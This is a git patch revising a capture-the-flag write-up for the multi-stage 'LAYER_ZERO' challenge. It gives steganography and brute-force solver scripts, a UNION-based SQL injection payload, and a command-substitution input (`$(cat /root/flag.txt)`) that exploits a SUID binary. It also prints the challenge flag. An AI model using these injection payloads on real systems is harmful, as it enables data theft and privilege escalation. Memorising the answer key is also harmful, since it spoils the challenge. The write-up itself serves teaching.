From 77e64f344f3344f08a1286462a823d7895fc502c Mon Sep 17 00:00:00 2001 From: Eun0us Date: Thu, 26 Mar 2026 17:33:43 +0000 Subject: [PATCH] write-up: Misc/LAYER_ZERO/README.md --- Misc/LAYER_ZERO/README.md | 182 ++++++++++++++++++++++++++++---------- 1 file changed, 136 insertions(+), 46 deletions(-) diff --git a/Misc/LAYER_ZERO/README.md b/Misc/LAYER_ZERO/README.md index 746a518..c812db0 100644 --- a/Misc/LAYER_ZERO/README.md +++ b/Misc/LAYER_ZERO/README.md @@ -1,25 +1,77 @@ -# LAYER_ZERO — Solution +# LAYER_ZERO -**Difficulty:** Hard | **Category:** Misc | **Flag:** `ESPILON{kn1ghts_0f_th3_w1r3d_pr0t0c0l7}` +| Field | Value | +|-------|-------| +| Category | Misc | +| Difficulty | Hard | +| Points | 600 | +| Author | espilon | +| CTF | Espilon 2026 | -## Overview +--- -Multi-stage challenge. Four sealed channels must be unlocked in sequence. -Each channel produces a token; submit all four to `LAYER_GOD` to unlock a -SUID binary that reveals the flag. +## Description -| Layer | Channel | Port | Technique | -|-------|---------------|---------|-----------------------------| -| L01 | CHANNEL_STATIC | 4141/tcp | PNG filter-type steganography | -| L03 | CHANNEL_KNIGHTS | 8080/tcp | SQL injection + Vigenère cipher | -| L07 | CHANNEL_WIRED | 4242/tcp | State machine sequence brute-force | -| L13 | CHANNEL_EIRI | 9001/tcp | Echo hiding audio steganography | -| GOD | LAYER_GOD | 6660/tcp | Ritual submission + SUID exploit | +*"No matter where you go, everyone's connected."* -## Layer 01 — CHANNEL_STATIC (PNG stego) +A signal has been detected deep in the AETHER_NET. The Knights of the Eastern Calculus +sealed four channels when Eiri Masami ascended. Each holds a fragment of Protocol Seven. -The PNG at `/home/lain/CHANNEL_STATIC/lain_signal.png` hides data in the -**filter type bytes** — the first byte of each scanline in the raw IDAT stream. +Connect to the Wired. Read the Layers. Unlock the channels. + +``` +nc espilon.net 1337 +``` + +Channels sealed: +- Layer 01 — CHANNEL_STATIC (she first connected in the static) +- Layer 03 — CHANNEL_KNIGHTS (the Knights speak in code) +- Layer 07 — CHANNEL_WIRED (she existed everywhere simultaneously) +- Layer 13 — CHANNEL_EIRI (he broadcast from beyond the Wired) + +Difficulty: Hard | Multi-stage | Unique per instance + +--- + +## TL;DR + +Four-stage multi-technique challenge: PNG filter-byte steganography (L01), SQL injection + +Vigenère decryption (L03), state-machine sequence brute-force (L07), and echo-hiding +audio steganography (L13). Collect four tokens, submit all to LAYER_GOD (port 6660), then +exploit a SUID binary via command injection to read the flag. + +--- + +## Tools + +| Tool | Purpose | +|------|---------| +| `nc` | All service connections | +| Python 3 + zlib + struct | PNG steganography extraction | +| `curl` | SQLi on CHANNEL_KNIGHTS | +| Python 3 + itertools | State machine brute-force | +| Python 3 + numpy | Echo hiding audio analysis | + +--- + +## Channel Summary + +| Layer | Channel | Port | Technique | +|-------|---------|------|-----------| +| L01 | CHANNEL_STATIC | 4141/tcp | PNG filter-type steganography | +| L03 | CHANNEL_KNIGHTS | 8080/tcp | SQL injection + Vigenère cipher | +| L07 | CHANNEL_WIRED | 4242/tcp | State machine sequence brute-force | +| L13 | CHANNEL_EIRI | 9001/tcp | Echo hiding audio steganography | +| GOD | LAYER_GOD | 6660/tcp | Ritual submission + SUID exploit | + +--- + +## Solution + +### Layer 01 — CHANNEL_STATIC (PNG steganography) + +The file `/home/lain/CHANNEL_STATIC/lain_signal.png` hides data in the **filter type byte** +of each scanline in the raw IDAT stream. ```python import struct, zlib @@ -27,6 +79,7 @@ import struct, zlib with open("lain_signal.png", "rb") as f: data = f.read() +# Collect IDAT chunks pos, idat = 8, b"" while pos < len(data): length = struct.unpack(">I", data[pos:pos+4])[0] @@ -35,11 +88,13 @@ while pos < len(data): idat += data[pos+8:pos+8+length] pos += 12 + length -raw = zlib.decompress(idat) -row_size = 1 + 64 * 3 # 1 filter byte + 64×RGB pixels +raw = zlib.decompress(idat) +row_size = 1 + 64 * 3 # 1 filter byte + 64 RGB pixels + # First 24 filter bytes encode 3 ASCII chars (8 bits each) -bits = [raw[i * row_size] for i in range(24)] +bits = [raw[i * row_size] for i in range(24)] decoded = "".join(chr(int("".join(map(str, bits[i*8:(i+1)*8])), 2)) for i in range(3)) +print(decoded) ``` Submit the decoded string: @@ -50,15 +105,19 @@ SUBMIT Server responds with token `L01:xxxxxxxxxx`. -## Layer 03 — CHANNEL_KNIGHTS (SQLi + Vigenère) +> 📸 `[screenshot: Python script printing the 3-character steganographic code]` -The web service at port 8080 has a `/search?q=` endpoint vulnerable to UNION-based SQLi. +--- + +### Layer 03 — CHANNEL_KNIGHTS (SQLi + Vigenère) + +UNION injection on the `/search?q=` endpoint: ```text /search?q=' UNION SELECT id,alias,rank,access_code,status FROM members-- ``` -One row contains a Vigenère-encrypted access code. Decrypt it with key `KUDARANAI`: +One member row has a Vigenère-encrypted access code. Decrypt with key `KUDARANAI`: ```python def vigenere_decrypt(text, key): @@ -71,37 +130,65 @@ def vigenere_decrypt(text, key): else: result.append(c) return "".join(result) + +plaintext = vigenere_decrypt(encrypted_code, "KUDARANAI") ``` -Submit the plaintext to `/submit?code=`. +Submit: `/submit?code=<plaintext>` + Server responds with token `L03:xxxxxxxxxx`. -## Layer 07 — CHANNEL_WIRED (state machine) +> 📸 `[screenshot: web response returning the L03 token after submitting the decrypted code]` -The service at port 4242 expects a 4-word sequence. The first two are fixed: -`PRESENT_DAY`, `PRESENT_TIME`. Brute-force the last two from known word lists: +--- + +### Layer 07 — CHANNEL_WIRED (state machine brute-force) + +The service expects a 4-word sequence. First two are fixed: `PRESENT_DAY`, `PRESENT_TIME`. +Brute-force the last two: ```python +import socket, itertools + WORD3 = ["NAVI_LAYER_07", "PROTOCOL_SEVEN", "WIRED_ACCESS", "KNIGHTS_CODE", "EIRI_SYSTEM", "DEUS_NODE"] WORD4 = ["CONNECT", "DESCEND", "MERGE", "ASCEND", "RESONATE", "DISSOLVE"] for w3, w4 in itertools.product(WORD3, WORD4): - # try sequence: PRESENT_DAY → PRESENT_TIME → w3 → w4 + with socket.create_connection((<host>, 4242)) as s: + s.sendall(b"PRESENT_DAY\n") + s.sendall(b"PRESENT_TIME\n") + s.sendall(f"{w3}\n".encode()) + s.sendall(f"{w4}\n".encode()) + resp = s.recv(1024).decode() + if "L07:" in resp: + print(f"Found: {w3} / {w4}") + print(resp) + break ``` -Server responds with token `L07:xxxxxxxxxx` on success. +> 📸 `[screenshot: brute-force script finding the correct word pair and printing the L07 token]` -## Layer 13 — CHANNEL_EIRI (echo hiding) +--- -The service at port 9001 streams 30 seconds of 16-bit mono PCM at 44100 Hz. -Data is hidden via **echo hiding**: a 1-bit echo at delay `D1=200` (bit 1) or -`D0=100` (bit 0) is embedded in 1024-sample segments. +### Layer 13 — CHANNEL_EIRI (echo hiding) + +Stream 30 seconds of 16-bit mono PCM at 44100 Hz. Data is hidden via **echo hiding**: +each 1024-sample segment has a 1-bit echo at delay D1=200 samples (bit=1) or D0=100 samples (bit=0). ```python import numpy as np +import socket + +HOST = "<host>" +pcm_data = b"" +with socket.create_connection((HOST, 9001)) as s: + while len(pcm_data) < 44100 * 30 * 2: + chunk = s.recv(4096) + if not chunk: + break + pcm_data += chunk -# After streaming and collecting pcm_data: samples = np.frombuffer(pcm_data, dtype="<i2").astype(float) / 32767.0 SEG_SIZE, D0, D1 = 1024, 100, 200 @@ -114,6 +201,7 @@ for i in range(N_CHARS * 8): bits.append("1" if ac[mid + D1] > ac[mid + D0] else "0") code = "".join(chr(int("".join(bits[i*8:(i+1)*8]), 2)) for i in range(N_CHARS)) +print(code) ``` Submit the decoded code: @@ -124,33 +212,35 @@ SUBMIT <code> Server responds with token `L13:xxxxxxxxxx`. -## LAYER_GOD — Ritual + SUID exploit +> 📸 `[screenshot: autocorrelation peaks confirming echo delays and decoded token]` -Submit all four tokens to port 6660: +--- + +### LAYER_GOD — Ritual + SUID exploit + +Submit all four tokens: + +```bash +nc <host> 6660 +``` ```text RITUAL L01:xxxxxxxxxx L03:xxxxxxxxxx L07:xxxxxxxxxx L13:xxxxxxxxxx ``` -On success, the SUID binary `/opt/protocol7/eiri_validator` is unlocked. -Exploit it via command injection — the binary calls `system()` with unsanitised input: +The SUID binary `/opt/protocol7/eiri_validator` is unlocked. + +Exploit via command injection — the binary calls `system()` with unsanitised input: ```bash /opt/protocol7/eiri_validator -# When prompted, enter: $(cat /root/flag.txt) ``` -## Automated Solver +> 📸 `[screenshot: eiri_validator printing the flag via command injection]` -```bash -python3 solve.py [host] [port] -``` +--- ## Flag `ESPILON{kn1ghts_0f_th3_w1r3d_pr0t0c0l7}` - -## Author - -Eun0us